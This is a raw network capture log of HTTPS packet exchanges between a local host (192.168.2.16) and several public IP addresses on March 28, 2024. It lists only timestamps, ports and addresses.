Mar 28, 2024 14:14:50.602196932 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602227926 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.602232933 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602929115 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602967024 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.602969885 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.602977991 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.603013039 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.603018045 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.603077888 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.603110075 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.603111982 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.603118896 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.603143930 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.603935003 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.604055882 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.604089022 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.604090929 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.604099035 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.604131937 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.604135990 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.605010986 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.605066061 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.605073929 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.652445078 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.694834948 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.694902897 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.694927931 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.694972038 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.695175886 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.695215940 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.695897102 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.695950985 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.696280003 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.696330070 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.696538925 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.696589947 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.696707010 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.696752071 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.697475910 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.697532892 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.697652102 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.697699070 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.698453903 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.698504925 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.698755026 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.698801041 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.699086905 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.699136019 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.699295998 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.699347019 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.700232029 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.700278044 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.700546026 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.700587034 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.701205015 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.701248884 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.701419115 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.701462030 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.746828079 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.746887922 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.789283991 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.789341927 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.789354086 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.789365053 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.789381027 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.789402962 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.789443016 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.789448023 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.789457083 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.789488077 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.789679050 CET	49703	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.789699078 CET	443	49703	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.835267067 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.835297108 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.835364103 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.835694075 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:50.835706949 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:50.897192955 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:50.897202015 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:50.897272110 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:50.897332907 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:50.897360086 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:50.897424936 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:50.897556067 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:50.897568941 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:50.897699118 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:50.897710085 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:50.904824018 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:50.904830933 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:50.904877901 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:50.905133963 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:50.905143976 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:50.908054113 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:50.908090115 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:50.908144951 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:50.908356905 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:50.908370018 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:50.909226894 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:50.909231901 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:50.909286976 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:50.909744024 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:50.909751892 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:50.911223888 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:50.911230087 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:50.911283970 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:50.911463022 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:50.911470890 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.036448956 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.036721945 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:51.036729097 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.037296057 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.037600994 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:51.037698984 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.037727118 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:51.081458092 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:51.081465006 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.109602928 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.109828949 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.109850883 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.110826015 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.110889912 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.111707926 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.111767054 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.111848116 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.111854076 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.117094040 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.117300987 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.117305994 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.118490934 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.118562937 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.119323969 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.119389057 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.119455099 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.119465113 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.148205042 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.154136896 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.154143095 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.155066967 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.155167103 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.155447006 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.155495882 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.155581951 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.155587912 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.161446095 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.161748886 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.163889885 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.164133072 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.164150953 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.165232897 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.165288925 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.166297913 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.166445971 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.166452885 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.166532993 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.173263073 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.173453093 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.173463106 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.173897028 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.174472094 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.174539089 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.176110029 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.176116943 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.176261902 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.176424026 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.176898956 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.176904917 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.177644014 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.177710056 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.179197073 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.179311991 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.179316998 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.179368019 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.196424007 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.209418058 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.209427118 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.225452900 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.227293015 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.227298975 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.258152008 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.274126053 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.350049973 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350111961 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350143909 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350183010 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350193024 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.350202084 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350227118 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.350243092 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350275993 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350286007 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.350292921 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.350334883 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.350341082 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.351810932 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.351843119 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.351870060 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.351876020 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.351917028 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.351924896 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.351931095 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.351965904 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.351973057 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352022886 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352058887 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.352065086 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352354050 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352396011 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352412939 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.352418900 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352459908 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.352466106 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352497101 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352535009 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.352541924 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352876902 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352912903 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352924109 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.352930069 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.352967024 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.352974892 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.353008986 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.353041887 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.353048086 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.353054047 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.353085995 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.353847980 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.353960991 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354007006 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.354013920 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354119062 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354159117 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.354163885 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354635954 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354672909 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354687929 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.354693890 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354732037 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.354737043 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354763031 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.354803085 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.354863882 CET	49711	443	192.168.2.16	104.18.11.207
Mar 28, 2024 14:14:51.354872942 CET	443	49711	104.18.11.207	192.168.2.16
Mar 28, 2024 14:14:51.360040903 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360080004 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360110998 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360140085 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.360142946 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360155106 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360186100 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.360425949 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360455036 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360469103 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.360475063 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360512972 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.360644102 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360790014 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360822916 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360838890 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.360846996 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.360882998 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.361586094 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.361696005 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.361751080 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.361756086 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.361821890 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.361854076 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.361864090 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.361870050 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.361907005 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.362198114 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.362263918 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.362296104 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.362310886 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.362315893 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.362349033 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.362354994 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363157034 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363193035 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363214970 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.363221884 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363261938 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.363262892 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363275051 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363318920 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.363327980 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363368034 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.363419056 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.363426924 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.364130974 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.364171028 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.364191055 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.364197016 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.364237070 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.364242077 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.364315033 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.364353895 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.364360094 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.365083933 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.365118027 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.365147114 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.365154028 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.365195036 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.365196943 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.365206003 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.365252018 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.365972042 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.366053104 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.367516994 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.367607117 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.367661953 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.367667913 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.367681026 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.367726088 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.368093014 CET	49712	443	192.168.2.16	151.101.129.229
Mar 28, 2024 14:14:51.368097067 CET	443	49712	151.101.129.229	192.168.2.16
Mar 28, 2024 14:14:51.368766069 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385441065 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385449886 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385488033 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385498047 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.385503054 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385519028 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385540009 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385550022 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.385565996 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.385571003 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.385591984 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.402072906 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402110100 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402158976 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.402168989 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402333021 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402373075 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.402378082 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402708054 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402756929 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.402760983 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402822018 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.402874947 CET	49706	443	192.168.2.16	104.18.10.207
